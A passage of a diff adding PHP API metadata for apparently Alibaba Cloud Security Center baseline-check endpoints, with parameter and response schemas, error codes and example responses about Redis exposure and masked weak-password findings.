'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的检查项信息的数量。默认值为**20**，表示每页显示20条检查项信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0DFCADBA-7065-42DA-AF17-6868B9C2A8CF', + ], + 'TotalCount' => [ + 'description' => '查询到的检查项信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '当前页显示检查项信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'CheckWarnings' => [ + 'description' => '查询到的检查项信息的详情。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项信息的详情。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '检查项的状态。取值：'."\n" + ."\n" + .'- **1**：基线检查未通过'."\n" + ."\n" + .'- **2**：基线修复验证中'."\n" + ."\n" + .'- **3**：基线检查已通过'."\n" + ."\n" + .'- **5**：基线检查状态已失效'."\n" + ."\n" + .'- **6**：基线检查项已忽略', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'CheckWarningId' => [ + 'description' => '基线检查的告警数据ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '212251441', + ], + 'Type' => [ + 'description' => '检查项类型。', + 'type' => 'string', + 'example' => 'hc.check.type.identity_auth', + ], + 'Uuid' => [ + 'description' => '执行基线检查的服务器的ID。', + 'type' => 'string', + 'example' => 'd42f938c-d962-48a0-90f9-****', + ], + 'ContainerName' => [ + 'description' => '容器名称。', + 'type' => 'string', + 'example' => '/svn-host', + ], + 'ContainerId' => [ + 'description' => '容器ID。', + 'type' => 'string', + 'example' => '8de456b00ff0a2009ee8ef7fc59fd0457fa44f20b8282af3e79c2a0e2492****', + ], + 'Item' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'example' => 'passwordExpire', + ], + 'CheckId' => [ + 'description' => '检查项的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2546', + ], + 'Level' => [ + 'description' => ' 基线检查风险项的危险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'high', + ], + 'Reason' => [ + 'description' => '备注。', + 'type' => 'string', + 'example' => 'ignore', + ], + 'FixStatus' => [ + 'description' => '是否支持修复。取值：'."\n" + ."\n" + .'- **0**：不支持'."\n" + .'- **1**：支持', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ExecErrorMessage' => [ + 'description' => '告警数据检查中的错误信息。', + 'type' => 'string', + 'example' => 'ScriptKilledOfCpuHigh', + ], + 'LastHandleTime' => [ + 'description' => '该机器的检查项风险的最新处理的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1704937755000', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"0DFCADBA-7065-42DA-AF17-6868B9C2A8CF\\",\\n \\"TotalCount\\": 100,\\n \\"Count\\": 10,\\n \\"CheckWarnings\\": [\\n {\\n \\"Status\\": 1,\\n \\"CheckWarningId\\": 212251441,\\n \\"Type\\": \\"hc.check.type.identity_auth\\",\\n \\"Uuid\\": \\"d42f938c-d962-48a0-90f9-****\\",\\n \\"ContainerName\\": \\"/svn-host\\",\\n \\"ContainerId\\": \\"8de456b00ff0a2009ee8ef7fc59fd0457fa44f20b8282af3e79c2a0e2492****\\",\\n \\"Item\\": \\"passwordExpire\\",\\n \\"CheckId\\": 2546,\\n \\"Level\\": \\"high\\",\\n \\"Reason\\": \\"ignore\\",\\n \\"FixStatus\\": 0,\\n \\"ExecErrorMessage\\": \\"ScriptKilledOfCpuHigh\\",\\n \\"LastHandleTime\\": 1704937755000\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n 20\\n 0DFCADBA-7065-42DA-AF17-6868B9C2A8CF\\n 100\\n 10\\n \\n 1\\n 212251441\\n 身份鉴别\\n d42f938c-d962-48a0-90f9-***********\\n 密码到期警告\\n 2546\\n high\\n \\n","errorExample":""}]', + 'title' => '查询检查项信息', + ], + 'DescribeCheckWarningDetail' => [ + 'summary' => '查询指定检查项的详情列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '103.25.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CheckWarningId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项告警ID。'."\n" + ."\n" + .'> 查询指定检查项的详细信息，需要提供检查项告警ID，该ID可调用[DescribeCheckWarnings](~~DescribeCheckWarnings~~)接口获取。'."\n" + .'>入参Uuid、CheckId同时为空时，该入参为必填。>', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '98675301', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '16670360956*****', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。>该入参不为空时，CheckId入参为必填。>', + 'type' => 'string', + 'required' => false, + 'example' => '06125d19-6a02-4451-9f65-2083996e****', + ], + ], + [ + 'name' => 'CheckId', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项的ID。'."\n" + .'> 您可调用[ListCheckItemWarningSummary](~~ListCheckItemWarningSummary~~)接口获取检查项ID。>该入参不为空时，Uuid入参为必填。>', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ContainerName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test_container', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'Advice' => [ + 'description' => '基线检查风险项的加固建议。', + 'type' => 'string', + 'example' => 'You can fix it in the following ways:↵1. To configure authentication for redis service, click the redis.conf Configure complex password in requirepass, and then restart redis.↵2. In redis configuration file redis.conf The configuration is as follows: bind 127.0.0.1, only allow local access, and then restart redis', + ], + 'Type' => [ + 'description' => '基线检查项的类型。'."\n" + .'> 您可以调用[DescribeRiskType](~~DescribeRiskType~~)查看所有基线类型。', + 'type' => 'string', + 'example' => 'Security audit', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', + ], + 'Description' => [ + 'description' => '基线检查风险项的补充描述内容。', + 'type' => 'string', + 'example' => 'The redis port is open to the outside world and there is no authentication option configured. In addition to directly obtaining all the information in the database, unauthorized users can also attack the system through unauthorized access vulnerability.', + ], + 'Item' => [ + 'description' => '检查项名称。', + 'type' => 'string', + 'example' => 'Redis unauthorized access', + ], + 'CheckId' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '946', + ], + 'Level' => [ + 'description' => '检查项的风险等级。'."\n" + ."\n" + .'- **high**：高，红色高亮显示，表示风险等级高'."\n" + ."\n" + .'- **medium**：中，橙色高亮显示，表示风险等级为中等'."\n" + ."\n" + .'- **low**：低，灰色高亮显示，表示风险等级低', + 'type' => 'string', + 'example' => 'high', + ], + 'Prompt' => [ + 'description' => '基线检查风险项的检查提示。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'weak passwords (username@host/password):root@****/12***', + ], + 'CheckDetailColumns' => [ + 'description' => '检测内容详情。', + 'type' => 'array', + 'items' => [ + 'description' => '检测内容详情。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '展示类型。取值：'."\n" + .'- **grid**：检测网格'."\n" + .'- **text**：文本', + 'type' => 'string', + 'example' => 'text', + ], + 'Key' => [ + 'description' => '检测内容的键。', + 'type' => 'string', + 'example' => 'Containername', + ], + 'ShowName' => [ + 'description' => '检测内容键对应展示名称。', + 'type' => 'string', + 'example' => 'ContainerName', + ], + 'Grids' => [ + 'description' => '检测内容列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检测内容。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '展示类型。取值：'."\n" + .'- **grid**：检测网格'."\n" + .'- **text**：文本', + 'type' => 'string', + 'example' => 'text', + ], + 'Key' => [ + 'description' => '检测内容的键。', + 'type' => 'string', + 'example' => 'Username', + ], + 'ShowName' => [ + 'description' => '检测内容键对应展示名称。', + 'type' => 'string', + 'example' => 'UserName', + ], + ], + ], + ], + ], + ], + ], + 'CheckDetailAssetInfo' => [ + 'description' => '检查资产详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查资产详情。', + 'type' => 'object', + 'additionalProperties' => [ + 'type' => 'string', + 'description' => '检查资产详情。', + 'example' => '[{"Containerid":"8ee88e****","Containername":"jenkins-birdge","WeakPasswords":[{"Username":"admin","Maskweakpassword":"1qaz****23"}]}]', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Advice\\": \\"You can fix it in the following ways:↵1. To configure authentication for redis service, click the redis.conf Configure complex password in requirepass, and then restart redis.↵2. In redis configuration file redis.conf The configuration is as follows: bind 127.0.0.1, only allow local access, and then restart redis\\",\\n \\"Type\\": \\"Security audit\\",\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"Description\\": \\"The redis port is open to the outside world and there is no authentication option configured. In addition to directly obtaining all the information in the database, unauthorized users can also attack the system through unauthorized access vulnerability.\\",\\n \\"Item\\": \\"Redis unauthorized access\\",\\n \\"CheckId\\": 946,\\n \\"Level\\": \\"high\\",\\n \\"Prompt\\": \\"weak passwords (username@host/password):root@****/12***\\",\\n \\"CheckDetailColumns\\": [\\n {\\n \\"Type\\": \\"text\\",\\n \\"Key\\": \\"Containername\\",\\n \\"ShowName\\": \\"ContainerName\\",\\n \\"Grids\\": [\\n {\\n \\"Type\\": \\"text\\",\\n \\"Key\\": \\"Username\\",\\n \\"ShowName\\": \\"UserName\\"\\n }\\n ]\\n }\\n ],\\n \\"CheckDetailAssetInfo\\": [\\n {\\n \\"key\\": \\"[{\\\\\\"Containerid\\\\\\":\\\\\\"8ee88e****\\\\\\",\\\\\\"Containername\\\\\\":\\\\\\"jenkins-birdge\\\\\\",\\\\\\"WeakPasswords\\\\\\":[{\\\\\\"Username\\\\\\":\\\\\\"admin\\\\\\",\\\\\\"Maskweakpassword\\\\\\":\\\\\\"1qaz****23\\\\\\"}]}]\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询指定检查项的详细信息', + ], + 'DescribeWarningMachines' => [ + 'summary' => '查询执行了基线检查的服务器的信息，包含服务器的ID、检测到的风险项统计数据和风险项状态等信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'MachineName', + 'in' => 'query', + 'schema' => [ + 'description' => '执行基线检查的服务器的名称。'."\n" + ."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'oracle-win-001****', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '执行基线检查的服务器ID。多个ID之间使用半角逗号（,）分隔。'."\n" + ."\n", + 'type' => 'string', + 'required' => false, + 'example' => '9888955c-0076-49da-bd9c-34f5492b****', + ], + ], + [ + 'name' => 'RiskId', + 'in' => 'query', + 'schema' => [ + 'description' => '风险项的ID。'."\n" + ."\n" + .'> 您可调用[DescribeCheckWarningSummary](~~DescribeCheckWarningSummary~~)接口获取风险项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '196', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检查策略的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '16', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的服务器信息的数量。默认值为**10**，表示每页显示10条服务器信息，最大不超过100。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c7e3c5b420a7947c2933303144688****', + ], + ], + [ + 'name' => 'ContainerFieldName', + 'in' => 'query', + 'schema' => [ + 'description' => '容器检索字段。取值：'."\n" + ."\n" + .'- **CONTAINER_ID**：容器ID。'."\n" + .'- **IMAGE**：镜像名称。'."\n" + .'- **NAMESPACE**：命名空间。'."\n" + .'- **NODE_NAME**：节点名称。'."\n" + .'- **POD_IP**：pod地址。'."\n" + .'- **HOST_IP**：主机地址。'."\n" + .'- **INSTANCE_ID**：实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'containerId', + ], + ], + [ + 'name' => 'ContainerFieldValue', + 'in' => 'query', + 'schema' => [ + 'description' => '查询容器检索的值。', + 'type' => 'string', + 'required' => false, + 'example' => 'c8bb3ef0f5ccf45508f0fd1ffc200****', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '查询类型。取值：'."\n" + ."\n" + .'- **containerId**：容器ID'."\n" + .'- **uuid**：资产ID', + 'type' => 'string', + 'required' => false, + 'example' => 'uuid', + ], + ], + [ + 'name' => 'HaveRisk', + 'in' => 'query', + 'schema' => [ + 'description' => '是否存在风险。取值：'."\n" + ."\n" + .'- **1**：有风险。'."\n" + .'- **0**：无风险。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产分组ID。'."\n" + .'> 您可以调用[DescribeAllGroups](~~130972~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的服务器信息的数量。默认值为**10**，表示每页显示10条服务器信息。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6E4CBE87-E887-5AF1-86D2-78EB4AA3E771', + ], + 'TotalCount' => [ + 'description' => '查询到的服务器信息的总数量。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Count' => [ + 'description' => '分页查询时，当前页面显示的服务器信息的数量。'."\n" + ."\n\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'WarningMachines' => [ + 'description' => '服务器的详细信息。', + 'type' => 'array', + 'items' => [ + 'description' => '产生告警的服务器的信息。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '基线检查风险项修复完成后，风险项的验证状态。取值：'."\n" + ."\n" + .'- **1**：已完成 '."\n" + ."\n" + .'- **2**：验证中', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP。'."\n", + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-m5ee8b9nr3h30mhb****', + ], + 'HighWarningCount' => [ + 'description' => ' 服务器上存在的**高危**检查项的数量。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP。', + 'type' => 'string', + 'example' => '1.2.XX.XX', + ], + 'RegionId' => [ + 'description' => '服务器所在的地域ID。', + 'type' => 'string', + 'example' => 'cn-qingdao', + ], + 'LowWarningCount' => [ + 'description' => ' 服务器上存在的**低危**检查项的数量。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'PortOpen' => [ + 'description' => '该服务器是否有端口对公网开放。取值：'."\n" + ."\n" + .'- **true**：服务器有端口对公网开放'."\n" + ."\n" + .'- **false**：服务器无端口对公网开放', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Uuid' => [ + 'description' => '执行基线检查的服务器的UUID。', + 'type' => 'string', + 'example' => '9888955c-0076-49da-bd9c-34f5492b****', + ], + 'MediumWarningCount' => [ + 'description' => '服务器上存在的**中危**检查项的数量。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'PassCount' => [ + 'description' => ' 服务器通过检查的检查项的数量。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'oracle-win-00****', + ], + 'Bind' => [ + 'description' => '资产是否已绑定授权。取值：'."\n" + ."\n" + .'- **true**：已绑定授权'."\n" + .'- **false**：未绑定授权', + 'type' => 'boolean', + 'example' => 'true', + ], + 'AuthVersion' => [ + 'description' => '资产的授权版本。取值：'."\n" + ."\n" + .'- **1**：免费版'."\n" + .'- **6**：防病毒版'."\n" + .'- **5**：高级版'."\n" + .'- **3**：企业版'."\n" + .'- **7**：旗舰版'."\n" + .'- **10**：仅采购增值服务版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'ContainerId' => [ + 'description' => '容器ID。', + 'type' => 'string', + 'example' => '48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f92155709d******', + ], + 'ContainerName' => [ + 'description' => '容器名称。', + 'type' => 'string', + 'example' => 'redis', + ], + 'Online' => [ + 'description' => '客户端是否在线。取值：'."\n" + .'- **true**：在线'."\n" + .'- **false**：离线', + 'type' => 'boolean', + 'example' => 'true', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。'."\n" + ."\n" + .'> 您可以调用[ListCloudAssetInstances](~~ListCloudAssetInstances~~)查询云产品资产的类型。', + 'type' => 'string', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"RequestId\\": \\"6E4CBE87-E887-5AF1-86D2-78EB4AA3E771\\",\\n \\"TotalCount\\": 1,\\n \\"Count\\": 10,\\n \\"WarningMachines\\": [\\n {\\n \\"Status\\": 1,\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"InstanceId\\": \\"i-m5ee8b9nr3h30mhb****\\",\\n \\"HighWarningCount\\": 10,\\n \\"IntranetIp\\": \\"1.2.XX.XX\\",\\n \\"RegionId\\": \\"cn-qingdao\\",\\n \\"LowWarningCount\\": 3,\\n \\"PortOpen\\": true,\\n \\"Uuid\\": \\"9888955c-0076-49da-bd9c-34f5492b****\\",\\n \\"MediumWarningCount\\": 2,\\n \\"PassCount\\": 10,\\n \\"InstanceName\\": \\"oracle-win-00****\\",\\n \\"Bind\\": true,\\n \\"AuthVersion\\": 7,\\n \\"ContainerId\\": \\"48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f92155709d******\\",\\n \\"ContainerName\\": \\"redis\\",\\n \\"Online\\": true,\\n \\"AssetType\\": \\"0\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n 10\\n 6E4CBE87-E887-5AF1-86D2-78EB4AA3E771\\n 1\\n 10\\n \\n 1\\n 1.2.XX.XX\\n i-m5ee8b9nr3h30mhb****\\n 10\\n 1.2.XX.XX\\n cn-qingdao\\n 3\\n true\\n 9888955c-0076-49da-bd9c-34f5492b****\\n 2\\n 10\\n oracle-win-00****\\n \\n","errorExample":""}]', + 'title' => '查询执行了基线检查的服务器的信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeStrategyExecDetail' => [ + 'summary' => '查询单个基线检查策略执行最近一次检查的结果详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92206', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '基线检测策略ID。'."\n" + .'> 调用[DescribeStrategy](~~DescribeStrategy~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '8437592', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的基线检查结果的数量。默认值为**10**，表示每页显示10条基线检查结果。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'InProcessCount' => [ + 'description' => '状态为**执行中**的基线检查任务的个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'EndTime' => [ + 'description' => '基线检查执行结束时间。', + 'type' => 'string', + 'example' => '2021-12-05 00:12:46', + ], + 'StartTime' => [ + 'description' => '基线检查执行开始时间。', + 'type' => 'string', + 'example' => '2021-12-05 00:12:16', + ], + 'Percent' => [ + 'description' => '基线检查策略执行的进度。', + 'type' => 'string', + 'example' => '100%', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '01611D72-1E33-53F5-A9A5-C81B5561970F', + ], + 'FailCount' => [ + 'description' => '基线检查未通过的风险项数量。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '94', + ], + 'Source' => [ + 'description' => '基线检查执行类型。取值：'."\n" + ."\n" + .'- **Schedule**：周期性自动检查'."\n" + .'- **Manual**：即时手动检查', + 'type' => 'string', + 'example' => 'Manual', + ], + 'SuccessCount' => [ + 'description' => '基线检查状态为**已通过**的风险项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '81', + ], + 'FailedEcsList' => [ + 'description' => '检测出基线风险项的服务器列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检测出基线风险项的服务器。', + 'type' => 'object', + 'properties' => [ + 'IP' => [ + 'description' => '执行基线检查的服务器实例IP地址。'."\n", + 'type' => 'string', + 'example' => '115.28.XX.XX', + ], + 'InternetIp' => [ + 'description' => '公网IP地址。', + 'type' => 'string', + 'example' => '115.28.XX.XX', + ], + 'IntranetIp' => [ + 'description' => ' 私网IP地址。', + 'type' => 'string', + 'example' => '172.31.XX.XX', + ], + 'Reason' => [ + 'description' => '基线检查未通过的原因。', + 'type' => 'string', + 'example' => 'Detect timeout', + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'worker-k8s-for-cs-cf5741fb95c3a45d0864f0e4544dc****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"InProcessCount\\": 0,\\n \\"EndTime\\": \\"2021-12-05 00:12:46\\",\\n \\"StartTime\\": \\"2021-12-05 00:12:16\\",\\n \\"Percent\\": \\"100%\\",\\n \\"RequestId\\": \\"01611D72-1E33-53F5-A9A5-C81B5561970F\\",\\n \\"FailCount\\": 94,\\n \\"Source\\": \\"Manual\\",\\n \\"SuccessCount\\": 81,\\n \\"FailedEcsList\\": [\\n {\\n \\"IP\\": \\"115.28.XX.XX\\",\\n \\"InternetIp\\": \\"115.28.XX.XX\\",\\n \\"IntranetIp\\": \\"172.31.XX.XX\\",\\n \\"Reason\\": \\"Detect timeout\\",\\n \\"InstanceName\\": \\"worker-k8s-for-cs-cf5741fb95c3a45d0864f0e4544dc****\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 0\\n 2021-12-05 00:12:46\\n 2021-12-05 00:12:16\\n 100%\\n 01611D72-1E33-53F5-A9A5-C81B5561970F\\n 94\\n Manual\\n 81\\n \\n 115.28.XX.XX\\n 115.28.XX.XX\\n 172.31.XX.XX\\n Detect timeout\\n worker-k8s-for-cs-cf5741fb95c3a45d0864f0e4544dc****\\n \\n","errorExample":""}]', + 'title' => '查询单个基线检查策略的检查结果', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeCheckEcsWarnings' => [ + 